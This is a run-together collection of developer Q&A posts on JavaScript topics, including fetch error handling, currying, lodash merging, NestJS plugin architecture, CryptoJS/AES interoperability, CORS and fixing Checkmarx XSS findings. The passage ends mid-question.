code : The successCallback function is able to receive the response in proper JSON format in case of status code 201 but when I try to fetch the error response in errorCallback ( status : 422 ) it shows something like this ( logging the response in console ) : When I try to console.log the error response before wrapping it in new Error ( ) like this , I get the below promise in console ( the [ [ PromiseValue ] ] property actually contains the error text that i require ) Can someone please explain why this is happening only in error case , even though I 'm calling response.json ( ) in both error and success case ? How can I fix this in a clean manner ? EDIT : I found that if I create another json ( ) promise on the error response I am able to get the correct error : But why do I have to call another .json ( ) on the response in error case ? { `` error '' : `` Some error text here explaining the error '' } fetch ( `` api_url_here '' , { method : 'some_method_here ' , credentials : `` same-origin '' , headers : { `` Content-type '' : `` application/json ; charset=UTF-8 '' , ' X-CSRF-Token ' : `` some_token_here '' } } ) .then ( checkStatus ) .then ( function json ( response ) { return response.json ( ) } ) .then ( function ( resp ) { successCallback ( resp ) } ) .catch ( function ( error ) { errorCallback ( error ) ; } ) ; //status function used abovecheckStatus = ( response ) = > { if ( response.status > = 200 & & response.status < 300 ) { return Promise.resolve ( response ) } else { return Promise.reject ( new Error ( response ) ) } } Error : [ object Response ] at status ( grocery-market.js:447 ) checkStatus = ( response ) = > { if ( response.status > = 200 & & response.status < 300 ) { return Promise.resolve ( response ) } else { console.log ( response.json ( ) ) //logging the response beforehand return Promise.reject ( new Error ( response.statusText ) ) } } fetch ( `` api_url_here '' , { method : 'some_method_here ' , credentials : `` same-origin '' , headers : { `` Content-type '' : `` application/json ; charset=UTF-8 '' , ' X-CSRF-Token ' : `` some_token_here '' } } ) .then ( checkStatus ) .then ( function json ( response ) { return response.json ( ) } ) .then ( function ( resp ) { successCallback ( resp ) } ) .catch ( function ( error ) { error.json ( ) .then ( ( error ) = > { //changed here errorCallback ( error ) } ) ; } ) ;",How to fetch response body using fetch in case of HTTP error 422 ? "JS : A friend of mine and I were having a discussion regarding currying and partial function application in Javascript , and we came to very different conclusions as to whether either were achievable . I came up with this implementation of Function.prototype.curry , which was the basis of our discussion : Which is used as follows : The output of which is as follows in Spidermonkey : His opinion was that since the Javascript function primitive does not natively support `` partial function application '' , it 's completely wrong to refer to the function bound to the variable karahi as partially applied . His argument was that when the vindaloo function is curried , the function itself is completely applied and a closure is returned , not a `` partially applied function '' .Now , my opinion is that while Javascript itself does not provide support for partial application in its ' function primitives ( unlike say , ML or Haskell ) , that does n't mean you ca n't create a higher order function of the language which is capable of encapsulating concept of a partially applied function . Also , despite being `` applied '' , the scope of the function is still bound to the closure returned by it causing it to remain `` partially applied '' .Which is correct ? Function.prototype.curry = function ( ) { if ( ! arguments.length ) return this ; var args = Array.prototype.slice.apply ( arguments ) ; var mmm_curry = this , args ; return function ( ) { var inner_args = Array.prototype.slice.apply ( arguments ) ; return mmm_curry.apply ( this , args.concat ( inner_args ) ) ; } } var vindaloo = function ( a , b ) { return ( a + b ) ; } var karahi = vindaloo.curry ( 1 ) ; var masala = karahi ( 2 ) ; var gulai = karahi ( 3 ) ; print ( masala ) ; print ( other ) ; $ js curry.js34",Is `` Partial Function Application '' a misnomer in the context of Javascript ? "JS : I have an initial color : # 3F92DF ( blue ) .I can reduce its opacity , which leads to a lighter blue ( if on a white background ) : rgba ( 63 , 146 , 223 , 0.5 ) .This color with opacity on a white background , if I color pick it , I get : # A5CAEF.The question is : how in JS , can I find # A5CAEF ( 3 ) from # 3F92DF ( 1 ) ? I.e . finding the color as if it had 0.5 opacity on a white background ? I tried to play with the RGB values of the initial color ( by increasing them toward 255 ) , but I ca n't achieve to get the expected color ( the one I got were more like turquoise ) . var initialColor = `` # 3F92DF '' ; var colorWithOpacity = `` rgba ( 63 , 146 , 223 , 0.5 ) '' ; var colorWithoutOpacity = `` # A5CAEF '' ; document.getElementById ( `` d1 '' ) .style.backgroundColor = initialColor ; document.getElementById ( `` d2 '' ) .style.backgroundColor = colorWithOpacity ; document.getElementById ( `` d3 '' ) .style.backgroundColor = colorWithoutOpacity ; div { width : 100px ; height : 100px ; border : solid 1px white ; float : left ; } < div id= '' d1 '' > < /div > < div id= '' d2 '' > < /div > < div id= '' d3 '' > < /div >","In JS , find the color as if it had 0.5 opacity on a white background ?" "JS : Assuming points are represented using JavaScript Array as [ x , y ] , how could I define the + operator on points such that : [ 1,2 ] + [ 5,10 ] == [ 6,12 ]",How to redefine the + operator on Arrays in JavaScript ? "JS : I 'm using webpack v4 and I 'm trying to use Pug with webpack-dev-server but when I run webpack-dev-server -- mode development it does n't serve compiled Pug . Please , help . I do n't know what to do . Thanks for reply . Here is my config : const path = require ( 'path ' ) ; const HtmlWebpackPlugin = require ( 'html-webpack-plugin ' ) ; module.exports = { entry : './src/js/main.js ' , output : { path : path.join ( __dirname , 'dist ' ) , filename : 'bundle.js ' } , module : { rules : [ { test : /\.js $ / , exclude : /node_modules/ , use : { loader : 'babel-loader ' } } , { test : /\.pug $ / , use : { loader : 'pug-loader ' , options : { pretty : true } } } ] } , devServer : { contentBase : path.join ( __dirname , 'dist ' ) , hot : true , open : true , progress : true } , plugins : [ new HtmlWebpackPlugin ( { template : path.join ( __dirname , 'src/templates/pages/index.pug ' ) , inject : false } ) ] } ;",Pug + webpack-dev-server "JS : I am trying to do an object merge with lodash in node.js . The merge works great in the fact that it wo n't overwrite property objects that result in undefined.However I would like the means for it to only overwrite objects that exist in the destination object . See example below : merge withCurrent result : result I would like : So what I am trying to get is for the source object to only overwrite properties that exist in both , and only if they are not undefined.I tried searching for other functions , but only found merge and assign to do similar things . But alas it is not exactly what I wanted.The whole idea behind this is to build some method that will get objects fields from a web form and then bind them to a mongoose.js model object for persisting.This is to avoid always having to manually bind each property to another object . var e1 = { name : 'Jack ' , surname : 'Root ' } ; var e2 = { name : 'Rex ' , surname : undefined , age : 24 } ; { name : 'Rex ' , surname : 'Root ' , age : 24 } { name : 'Rex ' , surname : 'Root ' }",inner like merge in lodash "JS : I 'm creating an API for multiple customers . The core endpoints like /users are used by every customer but some endpoints rely on individual customization . So it might be that User A wants a special endpoint /groups and no other customer will have that feature . Just as a sidenote , each customer would also use his own database schema because of those extra features.I personally use NestJs ( Express under the hood ) . So the app.module currently registers all my core modules ( with their own endpoints etc . ) I think this problem is not related to NestJs so how would you handle that in theory ? I basically need an infrastructure that is able to provide a basic system . There are no core endpoints anymore because each extension is unique and multiple /users implementations could be possible . When developing a new feature the core application should not be touched . Extensions should integrate themselves or should get integrated on startup . The core system ships with no endpoints but will be extended from those external files.Some ideas come to my mindFirst approach : Each extension represents a new repository . Define a path to a custom external folder holding all that extension projects . This custom directory would contain a folder groups with a groups.moduleMy API could loop through that directory and try to import each module file.pros : The custom code is kept away from the core repositorycons : NestJs uses Typescript so I have to compile the code first . How would I manage the API build and the builds from the custom apps ? ( Plug and play system ) The custom extensions are very loose because they just contain some typescript files . Due to the fact they do n't have access to the node_modules directory of the API , my editor will show me errors because it ca n't resolve external package dependencies.Some extensions might fetch data from another extension . Maybe the groups service needs to access the users service . Things might get tricky here.Second approach : Keep each extension inside a subfolder of the src folder of the API . But add this subfolder to the .gitignore file . Now you can keep your extensions inside the API.pros : Your editor is able to resolve the dependenciesBefore deploying your code you can run the build command and will have a single distributionYou can access other services easily ( /groups needs to find a user by id ) cons : When developing you have to copy your repository files inside that subfolder . After changing something you have to copy these files back and override your repository files with the updated ones.Third approach : Inside an external custom folder , all extensions are fully fledged standalone APIs . Your main API would just provide the authentication stuff and could act as a proxy to redirect the incoming requests to the target API.pros : New extensions can be developed and tested easilycons : Deployment will be tricky . You will have a main API and n extension APIs starting their own process and listening to a port.The proxy system could be tricky . If the client requests /users the proxy needs to know which extension API listens for that endpoint , calls that API and forwards that response back to the client.To protect the extension APIs ( authentication is handled by the main API ) the proxy needs to share a secret with those APIs . So the extension API will only pass incoming requests if that matching secret is provided from the proxy.Fourth approach : Microservices might help . I took a guide from here https : //docs.nestjs.com/microservices/basicsI could have a microservice for the user management , group management etc . and consume those services by creating a small api / gateway / proxy that calls those microservices.pros : New extensions can be developed and tested easilySeparated concernscons : Deployment will be tricky . You will have a main API and n microservices starting their own process and listening to a port.It seems that I would have to create a new gateway api for each customer if I want to have it customizable . So instead of extending an application I would have to create a customized comsuming API each time . That would n't solve the problem.To protect the extension APIs ( authentication is handled by the main API ) the proxy needs to share a secret with those APIs . So the extension API will only pass incoming requests if that matching secret is provided from the proxy . import { Module } from ' @ nestjs/common ' ; import { UsersModule } from './users/users.module ' ; // core module @ Module ( { imports : [ UsersModule ] } ) export class AppModule { } import { Module } from ' @ nestjs/common ' ; import { GroupsController } from './groups.controller ' ; @ Module ( { controllers : [ GroupsController ] , } ) export class GroupsModule { }",extend existing API with custom endpoints "JS : Out of curiosity , what rules apply here exactly ? Outputs : -1 , -Infinity , 0 , 1 , InfinityJSFiddle : http : //jsfiddle.net/8tVGb/How is it that -Infinity gets sorted between -1 and 0 ? alert ( [ -Infinity , -1 , Infinity , 0 , 1 ] .sort ( ) ) ;",Why is -1 sorted before -Infinity in Javascript ? "JS : I am trying to unbind all event handlers for all elements that are inside a particular container . Like a DIV . But those events have been bound/registered not using jQuery . Some are bound the manual way with onclick= '' ... . '' or using regular native JavaScript.But when I do something like thisIt does not appear to work . Which leads me to believe that the .unbind ( ) only works if the events have been originally bound by jQuery . Is that true ? Is there another way of unbinding all events from a group of elements ? Thanks ! $ ( ' # TheDivContainer ' ) .find ( 'div , td , tr , tbody , table ' ) .unbind ( ) ;",Does the jQuery .unbind ( ) method only work on jQuery created events ? "JS : I am using typescript 2.0.0 with -- strictNullChecks and the following type guard : Which invalidates null , undefined , NaN and Infinite . I want an inverse of this : Of course , this syntax does not work . Is there a known way to accomplish this ? function isNotOk ( value : any ) : value is null | undefined { if ( typeof value === 'number ' ) { return ! isFinite ( value ) ; } else { return value === null || value === undefined ; } } export function isOk ( value : any ) : value is not null | undefined { return ! isNotOk ( value ) ; }",Inverse TypeScript Type Guard "JS : I have been using LiveScript for quite a while now , and I have noticed that in situations where undefined would be implicitly returned , the expression void 8 is used instead.Naturally , I understand the use of void , but I can not figure out why specifically the integer 8 is used.For an example , the following LiveScript : Will compile to : x = if truthy then \success ! var x ; x = truthy ? 'success ! ' : void 8 ;",Why does LiveScript use 'void 8 ' for undefined values ? "JS : Using tiny-aes-c . Consider the following C code : The code encrypts a message and compares the results with the expected output . The code works fine and the output is as follows : I have another service , a NodeJS server which uses CryptoJS.My question is : How can I transform the C results ( { 0x17 , 0x8d , 0xc3 , 0xa1 , 0x56 , 0x34 } ) so it will match something CryptoJS could handle ? Edit : Elaborating a bit . for the purpose of this discussion , the C result is transmitted over the network , so it should be transformed to a String . As far as I know , CryptoJS uses base64 as an input for it 's AES method , decrypts to bytes that later can be converted to plain text : The encrypted result for the same message + secret with CryptoJS is : U2FsdGVkX1/TAYUIFnXzC76zb+sd8ol+2DfKCkwITfY= ( JS Fiddle ) and changes on each run.Update 2 : Thanks to @ MDTech.us_MAN answer I 've made some changes to both the JS and C code , but I 'm still missing a puzzle pice.C : The encrypted HEX string C output : cba9d5bc84113c , when converted to Base64 result is : y6nVvIQRPA==On the JS side , I 'm explicitly using CTR mode with no padding , and initiating ( hopefully ) same iv like so : The decrypted result : a47172dfe151c7 and not the expected result `` message '' .What am I missing ? int main ( int argc , char const *argv [ ] ) { uint8_t key [ 6 ] = { 's ' , ' e ' , ' c ' , ' r ' , ' e ' , 't ' } ; uint8_t iv [ 16 ] = { 0xf0 , 0xf1 , 0xf2 , 0xf3 , 0xf4 , 0xf5 , 0xf6 , 0xf7 , 0xf8 , 0xf9 , 0xfa , 0xfb , 0xfc , 0xfd , 0xfe , 0xff } ; uint8_t in [ 6 ] = { 'm ' , ' e ' , 's ' , ' a ' , ' g ' , ' e ' } ; uint8_t out [ 6 ] = { 0x17 , 0x8d , 0xc3 , 0xa1 , 0x56 , 0x34 } ; struct AES_ctx ctx ; AES_init_ctx_iv ( & ctx , key , iv ) ; AES_CTR_xcrypt_buffer ( & ctx , in , 6 ) ; printf ( `` idx\t encrypted\t expected '' ) ; for ( int i=0 ; i < 6 ; i++ ) { printf ( `` \n [ % i ] \t % .2x\t\t % .2x '' , i , in [ i ] , out [ i ] ) ; } return 0 ; } idx encrypted expected [ 0 ] 17 17 [ 1 ] 8d 8d [ 2 ] c3 c3 [ 3 ] a1 a1 [ 4 ] 56 56 [ 5 ] 34 34 var bytes = CryptoJS.AES.decrypt ( BASE_64_STRING , SECRET ) ; var plaintext = bytes.toString ( CryptoJS.enc.Utf8 ) ; int main ( int argc , char const *argv [ ] ) { uint8_t key [ 16 ] = { 's ' , ' e ' , ' c ' , ' r ' , ' e ' , 't ' , 's ' , ' e ' , ' c ' , ' r ' , ' e ' , 't ' , ' 1 ' , ' 2 ' , ' 3 ' , ' 4 ' } ; uint8_t iv [ 16 ] = { 0xf0 , 0xf1 , 0xf2 , 0xf3 , 0xf4 , 0xf5 , 0xf6 , 0xf7 , 0xf8 , 0xf9 , 0xfa , 0xfb , 0xfc , 0xfd , 0xfe , 0xff } ; uint8_t in [ 7 ] = { 'm ' , ' e ' , 's ' , 's ' , ' a ' , ' g ' , ' e ' } ; struct AES_ctx ctx ; AES_init_ctx_iv ( & ctx , key , iv ) ; AES_CTR_xcrypt_buffer ( & ctx , in , 7 ) ; printf ( `` Encrypted : `` ) ; for ( int i=0 ; i < 7 ; i++ ) { printf ( `` % .2x '' , in [ i ] ) ; } return 0 ; } const CryptoJS = require ( `` crypto-js '' ) ; let iv = CryptoJS.enc.Hex.parse ( 'f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff ' ) ; // 16 Bytes ( same as the C code ) let message = CryptoJS.AES.decrypt ( `` y6nVvIQRPA== '' , `` secretsecret1234 '' , { iv : iv , mode : CryptoJS.mode.CTR , padding : CryptoJS.pad.NoPadding } ) ; console.log ( message.toString ( ) ) ;",C - tiny-aes-c and Javascript CryptoJS interoperability "JS : I 'm developing a web application that gets albums and images from Google Picasa.I keep getting a 204 , no content response from the server.In addition , I am getting the error : No 'Access-Control-Allow-Origin ' header is present on the requested resource.I have the proper credentials in the developer console for javascript origins , and yet I still am getting this error . I have tried many ways to craft the request , but none have been successful . I have verified the access token using the tokeninfo endpoint , so I believe I am making the right type of requests.Here is the request I am making : Also , making an un-authenticated request : $ .ajax ( { //gives 204 no content response url : `` https : //picasaweb.google.com/data/feed/api/user/default '' , //use default to get current logged in user type : `` GET '' , beforeSend : function ( xhr ) { //headers xhr.setRequestHeader ( 'Authorization ' , 'Bearer ' + access_token ) ; xhr.setRequestHeader ( 'GData-Version ' , ' 2 ' ) ; } , dataType : `` json '' , success : function ( ) { console.log ( `` success '' ) ; } , fail : function ( ) { console.log ( `` fail '' ) ; } } ) .done ( function ( data ) { console.log ( data ) ; } ) ; $ .ajax ( { url : `` https : //picasaweb.google.com/data/feed/api/user/default '' , //use default to get current logged in user type : `` GET '' , dataType : `` json '' , beforeSend : function ( xhr ) { xhr.setRequestHeader ( 'GData-Version ' , 2 ) ; } , success : function ( ) { console.log ( `` success '' ) ; } , fail : function ( ) { console.log ( `` fail '' ) ; } } ) .done ( function ( data ) { console.log ( data ) ; } ) ;",Get List of Albums Google Picasa "JS : Suppose I have the following code ( completely useless , I know ) Basically , we know that apply expects an array as the second parameter , but we also know that arguments is not a proper array . The code works as expected , so is it safe to say that I can pass any array-like object as the second parameter in apply ( ) ? The following will also work ( in Chrome at least ) : Update : It seems that my second code block fails in IE < 9 while the first one ( passing arguments ) works.The error is Array or arguments object expected , so we shall conclude that it 's always safe to pass arguments , while it 's not safe to pass an array-like object in oldIE . function add ( a , b , c , d ) { alert ( a+b+c+d ) ; } function proxy ( ) { add.apply ( window , arguments ) ; } proxy ( 1,2,3,4 ) ; function proxy ( ) { add.apply ( window , { 0 : arguments [ 0 ] , 1 : arguments [ 1 ] , 2 : arguments [ 2 ] , 3 : arguments [ 3 ] , length : 4 } ) ; }",Is it safe to pass 'arguments ' to 'apply ( ) ' "JS : I 've built a custom input component with ControlValueAccessor and it works great to add tags as selections . ( Stackblitz ) My problem is : when I implement the component within a form ( cities & states controls ) add values to both controls by selecting some optionssubmit the formsometimes the control value is an array of selected tags ( as expected ) other times it 's an actual FormArray objectHere is a screenshot of two of the same component 's values after submitting the angular form . One is an array of objects ( expected ) the other is an actual FormArray object which .value property contains the array of objects ! Here is some code of how it works in case you do n't want to visit StackBlitz.The custom control is implemented like this . When the user selects a dropdown item or hits enter the object is saved like this : You could replicate this by implementing the component in my StackBlitz in a formGroup just like this ( also in my StackBlitz ) : Form InitTemplatebut the question is : When is Angular 's FormArray a traditional array and when is it a FormArray Array like object ? this.form = this.fb.group ( { tags : this.fb.array ( [ ] ) } ) ; get tagsArray ( ) : FormArray { return this.form.get ( 'tags ' ) as FormArray ; } ... this.tagsArray.push ( new FormControl ( value ) ) ; this.onChange ( this.tagsArray ) ; // update controller value public form : FormGroup = this.fb.group ( { states : [ ] , cities : [ ] } ) ; < input-tags formControlName= '' cities '' label= '' Cities '' [ typeAhead ] = '' cities '' [ displayKeys ] = '' [ 'name ' ] '' filterKeys= '' [ 'name ' ] '' > < /input-tags > < input-tags formControlName= '' states '' label= '' States '' [ typeAhead ] = '' states '' [ displayKeys ] = '' [ 'name ' ] '' filterKeys= '' [ 'name ' ] '' > < /input-tags >",When is Angular 's FormArray a traditional array and when is it a FormArray object ? "JS : I 'm trying to make a simple loading spinner that pops up when navigating . It shows up using a 'beforeunload ' event when navigating away and uses the 'load ' event to hide itself again when it is done.The problem is that when I leave the page in the background on my phone for e.g . a few hours the 'beforeunload ' event triggers and displays the spinner . Probably because Chrome on Android is partially unloading the page to save memory . The spinner does n't go away by itself though and I ca n't seem to figure out how to make it disappear again in an elegant way.Is there any other event I should be using instead ? window.addEventListener ( `` load '' , function ( ) { topSpinner.classList.add ( `` closed '' ) ; } ) ; window.addEventListener ( `` beforeunload '' , function ( ) { topSpinner.classList.remove ( `` closed '' ) ; } ) ;",'beforeunload ' event triggers when page is left in the background on Android "JS : i wan na implement this html effect like this : from this websiteimage show from top to bottom with scrolling , pretty cool.but my implement is : http : //codepen.io/devbian/pen/dXOvGjthis is from bottom to top.how can i change the image from top to bottom with scrolling ? < div class= '' container container0 '' > < img src='http : //special.porsche.com/microsite/mission-e/assets/images/content/reveal/intro/intro-01.jpg ' class='fixed'/ > < /div > < div class= '' container container1 '' > < img src= '' http : //special.porsche.com/microsite/mission-e/assets/images/content/reveal/intro/intro-02.jpg '' class= '' moveable '' > < /div > < div class= '' container container2 '' > < img src= '' http : //special.porsche.com/microsite/mission-e/assets/images/content/reveal/intro/intro-04.png '' class= '' moveable '' > < /div > < div class= '' container container3 '' > < img src= '' http : //special.porsche.com/microsite/mission-e/assets/images/content/reveal/intro/intro-05.jpg '' class= '' moveable '' > < /div > * { padding : 0 ; margin : 0 ; } body { min-height:2000px ; } .container { overflow : hidden ; padding : 10px ; position : relative ; min-height : 300px ; } .container img { width:100 % ; height:300px ; } /* .container0 { background-color : # e67e22 ; } .container1 { background-color : # ecf0f1 ; } .container2 { background-color : # f39c12 ; } .container3 { background-color : # 1abc9c ; } */.fixed { position : fixed ; } .moveable { position : absolute ; } $ ( function ( ) { function setLogo ( ) { $ ( '.moveable ' ) .each ( function ( ) { $ ( this ) .css ( 'top ' , $ ( '.fixed ' ) .offset ( ) .top - $ ( this ) .closest ( '.container ' ) .offset ( ) .top ) ; } ) ; } $ ( window ) .on ( 'scroll ' , function ( ) { setLogo ( ) ; } ) ; setLogo ( ) ; } )",how to let the container scroll down from top to bottom JS : I am creating images grid and I am using the following library Justified Gallery . The hover effect is working fine for the img-alt attribute . but I want to display some icons with links on the hover . Just like the following picture Take a look the the following Fiddle https : //jsfiddle.net/zvj2o7fy/1/embedded/result/Please help me to create this . < div id= '' justifiedGallery '' > < a href= '' # '' title= '' What 's your destination ? `` > < img alt= '' What 's your destination ? '' src= '' http : //lorempixel.com/340/227/ ? 1 '' / > < /a > < a href= '' # '' title= '' Just in a dream Place '' > < img alt= '' Just in a dream Place '' src= '' http : //lorempixel.com/340/227/ ? 1 '' / > < /a > < a href= '' # '' title= '' Il Capo at Palermo '' > < img alt= '' Il Capo at Palermo '' src= '' http : //lorempixel.com/300/226/ ? 1 '' / > < /a > < a href= '' # '' title= '' Erice '' > < img alt= '' Erice '' src= '' http : //lorempixel.com/340/227/ ? 1 '' / > < /a > < a href= '' # '' title= '' Truthful Innocence '' > < img alt= '' Truthful Innocence '' src= '' http : //lorempixel.com/240/227/ ? 1 '' / > < /a > < a href= '' # '' title= '' Truthful Innocence '' > < img alt= '' Truthful Innocence '' src= '' http : //lorempixel.com/127/300/ ? 1 '' / > < /a > < a href= '' # '' title= '' Truthful Innocence '' > < img alt= '' Truthful Innocence '' src= '' http : //lorempixel.com/440/227/ ? 1 '' / > < /a > < a href= '' # '' title= '' Truthful Innocence '' > < img alt= '' Truthful Innocence '' src= '' http : //lorempixel.com/140/227/ ? 1 '' / > < /a > < a href= '' # '' title= '' Truthful Innocence '' > < img alt= '' Truthful Innocence '' src= '' http : //lorempixel.com/340/227/ ? 1 '' / > < /a > < a href= '' # '' title= '' Truthful Innocence '' > < img alt= '' Truthful Innocence '' src= '' http : //lorempixel.com/240/227/ ? 1 '' / > < /a > < a href= '' # '' title= '' Truthful Innocence '' > < img alt= '' Truthful Innocence '' src= '' http : //lorempixel.com/340/227/ ? 1 '' / > < /a > < a href= '' # '' title= '' Truthful Innocence '' > < img alt= '' Truthful Innocence '' src= '' http : //lorempixel.com/340/227/ ? 1 '' / > < /a > < a href= '' # '' title= '' Truthful Innocence '' > < img alt= '' Truthful Innocence '' src= '' http : //lorempixel.com/227/340/ ? 1 '' / > < /a > < a href= '' # '' title= '' Truthful Innocence '' > < img alt= '' Truthful Innocence '' src= '' http : //lorempixel.com/340/227/ ? 1 '' / > < /a > < a href= '' # '' title= '' Truthful Innocence '' > < img alt= '' Truthful Innocence '' src= '' http : //lorempixel.com/140/227/ ? 1 '' / > < /a > < a href= '' # '' title= '' Truthful Innocence '' > < img alt= '' Truthful Innocence '' src= '' http : //lorempixel.com/340/227/ ? 1 '' / > < /a > < a href= '' # '' title= '' Truthful Innocence '' > < img alt= '' Truthful Innocence '' src= '' http : //lorempixel.com/340/227/ ? 1 '' / > < /a > < /div >,Hover Icons in Justified Gallery "JS : I 'm probably about a 7 or 8 on proficiency with jQuery ( on a scale of 1-10 ) , so I 'm not sure if this even makes sense , but I 'd like to know if anyone knows of a jQuery function or possibly a plugin which allows a branch of jQuery to only be executed if a given condition is true . Otherwise , I 'd love to hear if someone thinks the concept is flawed in some way ( EDIT and how it is flawed ) While one could control attachment of various events using normal JavaScript syntax similar to this : I was wondering if there is a way to do it all in jQuery or if there is a good reason not to ... something perhaps like this : Note : I think this is syntactically correct , assuming the booleans and functions are defined appropriately , but I 'm pretty sure I 've gotten the intent across pretty clearlythe proposed jQuery seems a little neater to me ( ? ? ) agree/disagree ? - so here are my questions : Is there some part of native jQuery that basically already does this ? Is there an extension already out there that allows this type of thing ? Is it harder to do than I am thinking ? ( I 'd think something like keeping the current element set if the condition is true , pushing an empty element set if condition is false , then popping the element set back out for each or condition would do it , just like the end ( ) method pops back the previous set after a find ( ) call ) Is there something that makes it significantly less efficient ? EDITThe question asks how to do this with method chaining or why it would be unadvisable ( specifics preferred ) . While it does n't ask for alternatives , such alternatives might be necessary to explain problems with a jQuery chaining approach . Also , since the example above immediately evaluates the booleans , any other solution should do the same . var desiredElement = $ ( '.parent ' ) // find the parent element .hover ( overFunction , offFunction ) // attach an event while I 've got the parent in 'scope ' .find ( '.child-element ' ) ; // then find and return the childif ( booleanVar1 ) { // if one condition desiredElement.click ( clickFunction1 ) ; // attach one event } else if ( booleanVar2 ) { // or if a different condition desiredElement.click ( clickFunction2 ) ; // attach a different event } else { // otherwise desiredElement.click ( clickFunction3 ) ; // attach a default event } $ ( '.parent ' ) .find ( '.other-child ' ) // ( or $ ( '.parent .other-child ' ) .css ( SomePredefinedCssMapping ) .hide ( ) // ... $ ( '.parent ' ) // find the parent element .hover ( { overFunction , offFunction } ) // attach an event while I 've got the parent in 'scope ' .find ( '.child-element ' ) // then find the child .when ( booleanVar1 ) // if one condition .click ( clickFunction1 ) // attach one event .orWhen ( booleanVar2 ) // or if a different condition .click ( clickFunction2 ) // attach a different event .orElse ( ) // otherwise .click ( clickFunction3 ) // attach a default event .end ( ) .end ( ) .find ( '.other-child ' ) .css ( SomePredefinedCssMapping ) // ...",Is there a way to perform a branch of jQuery chaining only if a condition is true "JS : this is a script i found for writing jQuery bookmarklets and i 've added three lines of code to it . the problem is jQuery code has lots of quotes ( for selectors ) and as i have to put the bookmarklets in a href= '' javascript : code '' everything gets messed up with the href 's double quotes.here is what my code looks like , i tried to escape double quotes , in many ways , but none did work . is there a way to deal with this problem ? when i click on the bookmarklet link , firebug says : SyntaxError : missing } after function bodybut if i run the javascript only ( not using an html link ) it runs fine . < a href= '' javascript : ( function ( ) { // the minimum version of jQuery we wantvar v = ' 1.3.2 ' ; // check prior inclusion and versionif ( window.jQuery === undefined || window.jQuery.fn.jquery < v ) { var done = false ; var script = document.createElement ( 'script ' ) ; script.src = 'http : //ajax.googleapis.com/ajax/libs/jquery/ ' + v + '/jquery.min.js ' ; script.onload = script.onreadystatechange = function ( ) { if ( ! done & & ( ! this.readyState || this.readyState == 'loaded ' || this.readyState == 'complete ' ) ) { done = true ; initMyBookmarklet ( ) ; } } ; document.getElementsByTagName ( 'head ' ) [ 0 ] .appendChild ( script ) ; } else { initMyBookmarklet ( ) ; } function initMyBookmarklet ( ) { ( window.myBookmarklet = function ( ) { // your JavaScript code goes here ! var loc=window.location ; $ ( 'body ' ) .append ( ' < form id=\'IDform\ ' action=\'http : /pourid.3eeweb.com/read.php\ ' method=\'post\ ' > < input name=\'url\ ' type=\'text\ ' value=\ '' +loc+'\ ' / > < /form > ' ) ; $ ( ' # IDform ' ) .submit ( ) ; } ) ( ) ; } } ) ( ) ; '' > bookmarklet < /a >",how to deal with quotes in bookmarklets "JS : I was trying to validate my code using CheckMarx but am stuck at a couple of vulnerabilities that I am unable to find a fix for . The following are the code lines where the vulnerabilities were raised.I tried to fix it with encoding as followsbut I still get the same issue . Is there anyway of fixing this Client DOM Open Redirect Vulnerability ? Also , I 'm getting a Reflected XSS issue for the following linepossibly because I 'm using res.send . I guess this will also be fixed along the same lines as the above issue.Any help regarding the same would be greatly appreciated . window.location.href = url + `` ? `` + '' appPageId= '' + $ rootScope.selectedContext.defaultAppPageId + `` & hierarchyId= '' + $ rootScope.defaultHierarchyId var redirectUrl = url + `` ? `` + '' appPageId= '' + $ rootScope.selectedContext.defaultAppPageId + `` & hierarchyId= '' + $ rootScope.defaultHierarchyIdwindow.location.href = encodeURI ( redirectUrl ) res.send ( `` The Context `` +req.params.contextName+ '' has restricted access . Please request access to this page '' ) ;",Fixing Reflected XSS issue in Javascript . CheckMarx "JS : I am trying to query wolfram to do some math for my site and then display the result . I am having trouble with CORS . My Code : My Error : '' Cross-Origin Request Blocked : The Same Origin Policy disallows reading the remote resource at http : //api.wolframalpha.com/v2/query ? input=sqrt ( 100 ) & appid= . ( Reason : CORS header 'Access-Control-Allow-Origin ' missing ) . `` I understand that on a dynamic site I could just addto .htaccessbut I 'm not sure how to do it on a static site . I have read that Allow-Access_origin should already be present in github pages.2nd answer here : Cross-Origin Resource Sharing on GitHub Pages2nd answer here : Is there a way to enable CORS on Github pages ? var xmlHttp = new XMLHttpRequest ( ) ; xmlHttp.onreadystatechange = function ( ) { if ( xmlHttp.readyState == 4 & & xmlHttp.status == 200 ) callback ( xmlHttp.responseText ) ; } xmlHttp.open ( `` GET '' , `` http : //api.wolframalpha.com/v2/query ? input= '' +theUrl+ '' & appid= '' , true ) ; // true for asynchronous xmlHttp.send ( null ) ; Header set Access-Control-Allow-Origin `` * ''",How to make WolframAlpha Request on static Github Pages ? "JS : I have a high order component that checks if a user is authenticated and if not will redirect to a different url.Its an isomorphic app and this works client-side but if I turn JS off , the server does n't redirect.I can hit this statement on the server and this.context.router is returning but nothing happens.Full Component : and this component is reached via the routes file : This is the server render code : if ( ! this.props.authenticated ) { this.context.router.push ( '/ ' ) ; } import React , { Component , PropTypes } from 'react ' ; import { connect } from 'react-redux ' ; export default function ( ComposedComponent ) { class Authentication extends Component { static contextTypes = { router : React.PropTypes.object } static propTypes = { authenticated : PropTypes.bool } componentWillMount ( ) { if ( ! this.props.authenticated ) { this.context.router.push ( '/ ' ) ; } } componentWillUpdate ( nextProps ) { if ( ! nextProps.authenticated ) { this.context.router.push ( '/ ' ) ; } } render ( ) { return < ComposedComponent { ... this.props } / > ; } } function mapStateToProps ( state ) { return { authenticated : state.auth.authenticated } ; } return connect ( mapStateToProps ) ( Authentication ) ; } export default ( < Route path='/ ' component= { App } > < IndexRoute component= { Welcome } / > < Route path='/feature ' component= { requireAuth ( Feature ) } / > < Route path='/signin ' component= { Signin } / > < Route path='/signout ' component= { Signout } / > < Route path='/signup ' component= { Signup } / > < /Route > ) ; import { RouterContext , match } from 'react-router ' ; import { Provider } from 'react-redux ' ; import { renderToString } from 'react-dom/server ' ; import React from 'react ' ; import reactCookie from 'react-cookie ' ; import configureStore from '../../shared/store ' ; import routes from '../../shared/routes ' ; import assets from '../../public/assets.json ' ; import { AUTH_USER } from '../../shared/actions/types ' ; export default function ( req , res ) { match ( { routes , location : req.url } , ( error , redirectLocation , renderProps ) = > { if ( error ) return res.status ( 500 ) .send ( error.message ) ; if ( redirectLocation ) return res.redirect ( 302 , redirectLocation.pathname + redirectLocation.search ) ; if ( ! renderProps ) return res.status ( 404 ) .send ( 'Page not found ' ) ; const store = configureStore ( ) ; // use cookies to retrieve token const unplug = reactCookie.plugToRequest ( req , res ) ; // eslint-disable-line no-unused-vars const token = reactCookie.load ( 